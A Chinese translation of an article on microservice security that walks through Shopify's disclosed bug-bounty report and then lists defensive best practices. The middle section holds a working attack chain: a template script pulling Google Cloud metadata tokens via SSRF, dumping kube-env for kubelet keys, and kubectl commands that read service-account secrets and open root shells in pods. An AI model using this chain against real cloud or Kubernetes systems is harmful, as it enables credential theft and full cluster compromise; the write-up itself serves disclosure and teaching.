通過(guò)Shopify平臺(tái)案例探究微服務(wù)安全
譯文【51CTO.com快譯】對(duì)于一些大型服務(wù)架構(gòu)而言,微服務(wù)的安全性在它們所面臨的諸多攻擊因素中顯得尤為重要。本文將和您討論如何在生產(chǎn)環(huán)境中防范各種入侵,以保障整體安全。同時(shí),我將介紹一些實(shí)用的方法,以應(yīng)對(duì)通用的微服務(wù)安全問(wèn)題。您可以通過(guò)采用這些技術(shù)和方法,來(lái)輕松地加固各類微服務(wù)應(yīng)用。
另外,我將模擬從公有云服務(wù)器實(shí)例的單入口,入侵Shopify(譯者注:加拿大電商軟件平臺(tái))的微服務(wù)實(shí)例,并訪問(wèn)到其元數(shù)據(jù)為例,來(lái)探討微服務(wù)部署和開發(fā)過(guò)程中的最佳實(shí)踐。
概述
讓我們首先來(lái)瀏覽一下微服務(wù)的架構(gòu)特點(diǎn),和它被用來(lái)進(jìn)行應(yīng)用開發(fā)的過(guò)程中,所面對(duì)的一系列安全問(wèn)題。
微服務(wù)的一般特性
- 解耦的組件
- 增加的復(fù)雜性
- 固定的架構(gòu)
- 更短的開發(fā)周期
- 最小化依賴項(xiàng)和共同關(guān)注點(diǎn)
- 小而集中
- 相關(guān)服務(wù)之間的數(shù)據(jù)約定
- 對(duì)某個(gè)特定技術(shù)棧的依賴
- 良好的集成測(cè)試,減少了安全漏洞
由于開發(fā)人員對(duì)于AppSec(應(yīng)用安全)的意識(shí)較為薄弱,甚至是對(duì)于通用應(yīng)用安全規(guī)范的無(wú)視,他們可能會(huì)從如下方面增加微服務(wù)安全的復(fù)雜度與挑戰(zhàn):
- 分段和隔離
- 多云環(huán)境的部署,增加了資產(chǎn)安全的管理成本
- 身份管理和訪問(wèn)控制
- 數(shù)據(jù)與消息的完整性
- 頻繁的變更與淘汰周期
上述與微服務(wù)架構(gòu)相關(guān)的因素,都會(huì)導(dǎo)致其整體潛在攻擊面的擴(kuò)大增加。而隨著服務(wù)和資產(chǎn)數(shù)量的增加,其風(fēng)險(xiǎn)因素也會(huì)大為增多。因此,我們有必要通過(guò)定期的代碼審查和安全審計(jì),來(lái)解決上述提到的各種開發(fā)與部署過(guò)程中的問(wèn)題。
微服務(wù)的AppSec
許多公司對(duì)AppSec(應(yīng)用安全)都缺乏重視,他們僅僅依靠一些自動(dòng)化的漏洞掃描工具,和被動(dòng)式的威脅建模,來(lái)檢查各種安全配置上的錯(cuò)誤,并測(cè)試其基于微服務(wù)應(yīng)用的安全態(tài)勢(shì)。顯然,這些都無(wú)法有效地應(yīng)對(duì)真實(shí)環(huán)境中的復(fù)雜入侵與威脅。
因此開發(fā)人員稍有不慎,就可能給應(yīng)用在整體層面上留下可以被利用和入侵的各種安全漏洞。這正是為什么我們需要不斷地修正自己的開發(fā)方式,進(jìn)而在組織內(nèi)部通過(guò)采用AppSec的最佳實(shí)踐,以保證微服務(wù)安全態(tài)勢(shì)的原因。
我們應(yīng)當(dāng)將下列技術(shù)與實(shí)踐,嚴(yán)格地貫徹到微服務(wù)的開發(fā)和部署之中,以確保交付產(chǎn)品的安全可靠,且符合業(yè)界規(guī)定的各種安全實(shí)踐標(biāo)準(zhǔn)。
持續(xù)安全
人們經(jīng)常不得不為自己所忽視的安全而“買單”。因此,持續(xù)安全的目標(biāo)就是要通過(guò)定期測(cè)試微服務(wù)應(yīng)用的安全性,來(lái)降低整體成本與開銷。而實(shí)現(xiàn)持續(xù)安全的最好方法便是DevSecOps,它包括了持續(xù)的安全測(cè)試,和精細(xì)的內(nèi)、外部審計(jì)。我們需要通過(guò)模擬從不同攻擊者的角度,來(lái)分析微服務(wù)可能會(huì)受到哪些方面的入侵,定位其自身可能存在的漏洞,從而將各種問(wèn)題防范于未然。
方法
- 內(nèi)部測(cè)試(主要是漏洞被利用之后的階段)
- 外部測(cè)試
下面,我們針對(duì)上述方法,來(lái)討論持續(xù)安全的具體“落地”。
案例探究(Shopify)
“據(jù)@0xacb的報(bào)告:雖然Shopify基礎(chǔ)架構(gòu)已被隔離成了多個(gè)子集,但是通過(guò)Shopify交易平臺(tái)上的截屏功能,攻擊者可能利用服務(wù)器端請(qǐng)求偽造(request forgery)的bug,來(lái)獲得對(duì)于某個(gè)子集內(nèi)任何容器的root訪問(wèn)權(quán)限。在接報(bào)的一小時(shí)后,我們停止了存在漏洞的服務(wù),并審核了所有子集中的應(yīng)用,進(jìn)而對(duì)整體基礎(chǔ)架構(gòu)實(shí)施了應(yīng)急補(bǔ)救。存在該漏洞的子集并不包括Shopify的核心。在審核了所有的服務(wù)之后,我們通過(guò)部署元數(shù)據(jù)隱藏代理(metadata concealment proxy)的方式,禁用了對(duì)于元數(shù)據(jù)信息的訪問(wèn),進(jìn)而修復(fù)了該bug。另外在架構(gòu)內(nèi)所有子集中,我們也禁用了通過(guò)內(nèi)部IP地址的直接訪問(wèn)。鑒于該子集內(nèi)的一些應(yīng)用確實(shí)有可能會(huì)訪問(wèn)到Shopify的核心數(shù)據(jù)和系統(tǒng),我們特為此核心遠(yuǎn)程代碼執(zhí)行漏洞(Core RCE),設(shè)置$25000獎(jiǎng)金。”
以上便是Shopify在Hackerone(譯者注:全球最大的漏洞眾測(cè)平臺(tái))中發(fā)布的,其針對(duì)該事件的獎(jiǎng)賞計(jì)劃。
根據(jù)該報(bào)告,我們能夠得出這樣的結(jié)論:即使是應(yīng)用端的漏洞,也會(huì)導(dǎo)致服務(wù)器受到入侵的威脅。撇開此類攻擊的復(fù)雜性不談,該漏洞還是非常容易被利用的。通常情況下,攻擊者會(huì)利用一個(gè)非常簡(jiǎn)單的SSRF(Server-Side Request Forgery,服務(wù)器端請(qǐng)求偽造)來(lái)攻擊該漏洞,從而訪問(wèn)到主實(shí)例(master instance)的元數(shù)據(jù),然后進(jìn)一步獲取那些運(yùn)行在谷歌云平臺(tái)上,其他存在同類漏洞的實(shí)例的room訪問(wèn)權(quán)限。
Shopify的“入侵鏈”
下面讓我們來(lái)探討一下攻擊者將如何通過(guò)該漏洞,來(lái)獲取所有Shopify實(shí)例的root訪問(wèn)權(quán)限。
注:由于源自真實(shí)的環(huán)境,所以我們?cè)诖擞猫€███隱去了一些敏感信息。
1. 訪問(wèn)谷歌云的元數(shù)據(jù)
- 新建一個(gè)店鋪(partners.shopify.com)。
- 編輯模板:password.liquid,并添加如下內(nèi)容:
- <script>
- window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";
- // iframes don't work here because Google Cloud sets the `X-Frame-Options: SAMEORIGIN` header.
- </script>
雖然查找谷歌云實(shí)例中的各個(gè)SSRF需要用到一種特殊的包頭,但是我發(fā)現(xiàn)可以采用一個(gè)非常簡(jiǎn)單的方法來(lái)“繞過(guò)”它:由于/v1beta1端點(diǎn)仍然可用,就算不需要Metadata-Flavor: Google的包頭,仍然可返回相同的token(令牌)。
我曾試圖截獲更多的數(shù)據(jù),但是網(wǎng)絡(luò)截圖軟件無(wú)法根據(jù)application/text的響應(yīng),產(chǎn)生任何圖像。不過(guò)我發(fā)現(xiàn):可以通過(guò)添加參數(shù)alt=json,以強(qiáng)制讓application/json做出響應(yīng)。因此我設(shè)法截獲了更多的數(shù)據(jù),包括:SSH公共密鑰(帶有電子郵件地址)、項(xiàng)目名稱(█████)、和實(shí)例名稱等:
- <script>
- window.location="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json";
- </script>
那么我可以使用截獲的token來(lái)添加自己的SSH密鑰嗎?答案是:不可以。
- curl -X POST "https://www.googleapis.com/compute/v1/projects/███/setCommonInstanceMetadata" -H "Authorization: Bearer ██████████████" -H "Content-Type: application/json" --data '{"items": [{"key": "0xACB", "value": "test"}]}'
- {
- "error": {
- "errors": [
- {
- "domain": "global",
- "reason": "forbidden",
- "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/███████'"
- },
- {
- "domain": "global",
- "reason": "forbidden",
- "message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/███████'"
- }
- ],
- "code": 403,
- "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/████████'"
- }
- }
我全面檢查了該token,它并沒(méi)有對(duì)Compute Engine API(譯者注:一種谷歌的API)進(jìn)行讀與寫的訪問(wèn)。
- curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=██████████████████"
- {
- "issued_to": "███████",
- "audience": "███",
- "scope": "https://www.googleapis.com/auth/cloud-platform",
- "expires_in": 1307,
- "access_type": "offline"
- }
2. 轉(zhuǎn)存kube-env
我創(chuàng)建了一個(gè)新的店鋪
(http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json),并遞歸地“拉取出”該實(shí)例的各項(xiàng)屬性。
由于元數(shù)據(jù)隱藏
(https://hackerone.com/redirect?signature=800d1491927edd8ed19a6b370a10349a205df89f&url=https%3A%2F%2Fcloud.google.com%2Fkubernetes-engine%2Fdocs%2Fhow-to%2Fmetadata-concealment)未被開啟,因?yàn)槲夷軌颢@取到kube-env屬性。
另外,由于圖像已被損壞,因此我針對(duì)
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json創(chuàng)建了一個(gè)新的請(qǐng)求,以查看Kubelet證書的剩余部分,及其私鑰。
ca.crt(譯者注:ca證書文件)
- -----BEGIN CERTIFICATE-----
- ██████
- ███████
- ███████
- ████████
- ██████████████
- ████████
- ████████
- ███████
- ████
- ██████
- ███
- █████████
- ████
- ████
- ████████
- ███████
- ███
- -----END CERTIFICATE-----
client.crt(譯者注:client端證書文件)
- -----BEGIN CERTIFICATE-----
- █████
- ███████
- ██████
- ████████
- ██████████
- █████
- ██████
- █████
- █████
- ██████████
- ███████
- █████
- ████
- ████
- ████████
- ████████
- -----END CERTIFICATE-----
client.pem(譯者注:采用Base64 編碼的client端文件,存儲(chǔ)證書+密鑰)
- -----BEGIN RSA PRIVATE KEY-----
- █████████
- ██████
- ████████
- ████
- ████
- █████████
- ██████████
- ██████
- ████████
- █████████
- ██████
- ██████████
- ███
- ██████████
- ███
- ██████
- █████████
- ████████
- ██████████
- █████████
- ████
- ████
- ████████
- ████
- ███████
- -----END RSA PRIVATE KEY-----
至此,我得到了MASTER_NAME:█████
3. 使用Kubelet執(zhí)行任意命令
在此,我們可以列出所有的pods:
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespaces
- NAMESPACE NAME READY STATUS RESTARTS AGE
- ████████ ██████████ 1/1
也可以創(chuàng)建新的pods:
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://████████ create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yaml
- pod "shell-demo" created
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████████ delete pod shell-demo
- pod "shell-demo" deleted
由于我無(wú)法確定自己是否能以用戶████████的身份,去刪除其正在運(yùn)行的pods。因此,我無(wú)法在這個(gè)新的pod或其他pod中執(zhí)行任何命令:
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://█████████ exec -it shell-demo -- /bin/bash
- Error from server (Forbidden): pods "shell-demo" is forbidden: User "███" cannot create pods/exec in the namespace "default": Unknown user "███"
雖然get secrets命令沒(méi)有起到效果,但是它能夠根據(jù)給定的pod,運(yùn)用其名稱來(lái)獲取密鑰。我正好運(yùn)用實(shí)例名████,從名稱空間████中,截獲到了kubernetes.io服務(wù)帳號(hào)的token:
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://███ describe pods/█████ -n █████████
- Name: ████████
- Namespace: ██████
- Node: ██████████
- Start Time: Fri, 23 Mar 2018 13:53:13 +0000
- Labels: █████
- ████
- █████
- Annotations: <none>
- Status: Running
- IP: █████████
- Controlled By: █████
- Containers:
- default-http-backend:
- Container ID: docker://███
- Image: ██████
- Image ID: docker-pullable://█████
- Port: ████/TCP
- Host Port: 0/TCP
- State: Running
- Started: Sun, 22 Apr 2018 03:23:09 +0000
- Last State: Terminated
- Reason: Error
- Exit Code: 2
- Started: Fri, 20 Apr 2018 23:39:21 +0000
- Finished: Sun, 22 Apr 2018 03:23:07 +0000
- Ready: True
- Restart Count: 180
- Limits:
- cpu: 10m
- memory: 20Mi
- Requests:
- cpu: 10m
- memory: 20Mi
- Liveness: http-get http://:███/healthz delay=30s timeout=5s period=10s #success=1 #failure=3
- Environment: <none>
- Mounts:
- ██████
- Conditions:
- Type Status
- Initialized True
- Ready True
- PodScheduled True
- Volumes:
- ██████████:
- Type: Secret (a volume populated by a Secret)
- SecretName: ███████
- Optional: false
- QoS Class: Guaranteed
- Node-Selectors: <none>
- Tolerations: node.kubernetes.io/not-ready:NoExecute for 300s
- node.kubernetes.io/unreachable:NoExecute for 300s
- Events: <none>
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get secret███████ -n ███████ -o yaml
- apiVersion: v1
- data:
- ca.crt: ██████████
- namespace: ████
- token: ██████████==
- kind: Secret
- metadata:
- annotations:
- kubernetes.io/service-account.name: default
- kubernetes.io/service-account.uid: ████
- creationTimestamp: 2017-01-23T16:08:19Z
- name:█████
- namespace: ██████████
- resourceVersion: "115481155"
- selfLink: /api/v1/namespaces/████████/secrets/████
- uid: █████████
- type: kubernetes.io/service-account-token
最后如下所示,我就能使用該token從任意容器中獲取shell了。
- $ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bash
- Defaulting container name to web.
- Use 'kubectl describe pod/w█████████' to see all of the containers in this pod.
- ███████:/# id
- uid=0(root) gid=0(root) groups=0(root)
- █████:/# ls
- app boot dev exec key lib64 mnt proc run srv start tmp var
- bin build etc home lib media opt root sbin ssl sys usr
- ███████:/# exit
- $ kubectl --certificate-authority ca.crt --server https://███████ --token "█████.██████.█████████" exec -it ████████ -n ████████ -- /bin/bash
- Defaulting container name to web.
- Use 'kubectl describe pod/█████ -n █████' to see all of the containers in this pod.
- root@████:/# id
- uid=0(root) gid=0(root) groups=0(root)
- root@████:/# ls
- app boot dev exec key lib64 mnt proc run srv start tmp var
- bin build etc home lib media opt root sbin ssl sys usr
- root@█████:/# exit
影響程度:嚴(yán)重
黑客們可以根據(jù)相關(guān)的上下文信息,采用服務(wù)器端請(qǐng)求偽造(SSRF)來(lái)入侵上述漏洞。同時(shí),他們會(huì)給目標(biāo)系統(tǒng)帶來(lái)如下影響:
- 繞過(guò)網(wǎng)絡(luò)訪問(wèn)控制,能夠截獲內(nèi)部服務(wù)嗎?
- 是的。
- 什么樣的內(nèi)部服務(wù)能被訪問(wèn)?
- 谷歌云的元數(shù)據(jù)。
- 帶來(lái)何種安全影響?
- RCE(遠(yuǎn)程代碼執(zhí)行)。
保障微服務(wù)安全的最佳實(shí)踐
通過(guò)上述Shopify案例,我們可以學(xué)到:
(1) 用戶身份管理、授權(quán)和訪問(wèn)控制。我們的首要任務(wù)應(yīng)該是:設(shè)置適當(dāng)?shù)脑L問(wèn)控制和用戶權(quán)限。其中,我們可以使用OAuth2來(lái)進(jìn)行用戶授權(quán)的管控。您可按需使用訪問(wèn)控制,來(lái)對(duì)不同類型的用戶組進(jìn)行訪問(wèn)級(jí)別和權(quán)限范圍的設(shè)置。例如:您可以采用諸如JWT(基于認(rèn)證的JSON Web Token)、JJWT(Java JWT,請(qǐng)參考https://github.com/jwtk/jjwt)等第三方的服務(wù)架構(gòu)來(lái)實(shí)現(xiàn)認(rèn)證,使用SSO來(lái)處理授權(quán)問(wèn)題。另外,您也可以參照SAML和LDAP進(jìn)行身份驗(yàn)證。
(2) 根據(jù)TOTP(time-based one-time password,基于時(shí)間的一次性密碼)啟用2FA(two-factor authentication,雙因素認(rèn)證)。這是另一種很好的方法。它能夠像第二道防線那樣,去彌補(bǔ)JWT自身的各種漏洞,以及處理驗(yàn)證過(guò)程中的疏漏。其代表方式是實(shí)施GoogleAuth庫(kù)(請(qǐng)參考https://github.com/wstrange/GoogleAuth)。
(3) 不要以明文或純文本的形式存儲(chǔ)敏感數(shù)據(jù)。請(qǐng)選用libsodium服務(wù)(https://github.com/jedisct1/libsodium),對(duì)數(shù)據(jù)進(jìn)行加、解密。此外,千萬(wàn)不要采用某種尚處于測(cè)試階段的加密算法,因?yàn)樗鼈兺赡芾壛四承┛蚣?,或潛在著各種未知的漏洞。
(4) 使用API網(wǎng)關(guān)隔離各種資源。您可以使用各種第三方的API網(wǎng)關(guān)來(lái)達(dá)到此效果。
(5) 分離各種API和內(nèi)部組件,以減少暴露的被攻擊面。
(6) 為了基于REST-API安全,請(qǐng)持續(xù)關(guān)注每年底更新的OWASP Top 10,并做好自身的漏洞徹審。如前文所述的SSRF,如果我們處置不當(dāng),將會(huì)帶來(lái)RCE的隱患。此法有助于發(fā)現(xiàn)一些常見的Web應(yīng)用漏洞。
(7) 如果部署并使用云平臺(tái),請(qǐng)為帳號(hào)和實(shí)例配置訪問(wèn)控制。通常情況下,服務(wù)器實(shí)例的元數(shù)據(jù)是開放性的;而隸屬于特定微服務(wù)的AWS object buckets(對(duì)象存儲(chǔ)空間)也同樣是開放性的。因此我們要通過(guò)ACL,來(lái)防范它們?cè)谧顗那闆r下被公布于世。正如上述Shopify案例那樣,攻擊者通過(guò)利用漏洞,獲取root訪問(wèn)權(quán)限,來(lái)進(jìn)一步截獲與服務(wù)器實(shí)例有關(guān)的敏感元數(shù)據(jù)。
(8) 對(duì)通用序列化(Common serialization)與反序列化(deserialization),基于SQLi漏洞的防范。我們特別要注意那些不安全的反序列化,它們可能會(huì)導(dǎo)致包括RCE在內(nèi)的許多嚴(yán)重漏洞。因此,我們需要及時(shí)通過(guò)熱補(bǔ)丁程序(hotfix)來(lái)對(duì)用戶的輸入實(shí)施審查和“消毒”。例如:Kryo(譯者注:一種快速高效的Java對(duì)象圖形序列化架構(gòu))就存在著尚未修復(fù)的反序列化漏洞,請(qǐng)參見:https://github.com/EsotericSoftware/kryo/issues/398。
- Ø Spark SQL
- Ø Kafka + Spark Serialization
(9) 認(rèn)證,我們可以采用如下的身份驗(yàn)證APIs(各種架構(gòu)和服務(wù)):
- 使用Cognito + AWS API網(wǎng)關(guān)來(lái)處理繁瑣的認(rèn)證:Cognito使用證書、MFA等來(lái)處理認(rèn)證問(wèn)題;API網(wǎng)關(guān)檢查訪問(wèn)的token、JWT、以及授權(quán)。
- 在各個(gè)服務(wù)之間,采用基于角色的限制。
- 通過(guò)要求對(duì)每個(gè)請(qǐng)求進(jìn)行簽名,以增加額外的認(rèn)證保護(hù)層。
- 將Lambda的各個(gè)函數(shù)整合到hook進(jìn)程之前和之后:您可以使用各種Swagger文件;也可以參考https://github.com/iheartradio/play-swagger,來(lái)為自己的架構(gòu)輕松產(chǎn)生各種Swagger文件。
(10) 切勿將敏感鍵值或信息存放到環(huán)境變量之中。這些信息可能會(huì)在某些情況下暴露在應(yīng)用程序的日志中,或是被其他服務(wù)無(wú)意中訪問(wèn)到,從而帶來(lái)安全隱患。
原文標(biāo)題:How to Secure Your Microservices — Shopify Case Study,作者:Arif Khan
【51CTO譯稿,合作站點(diǎn)轉(zhuǎn)載請(qǐng)注明原文譯者和出處為51CTO.com】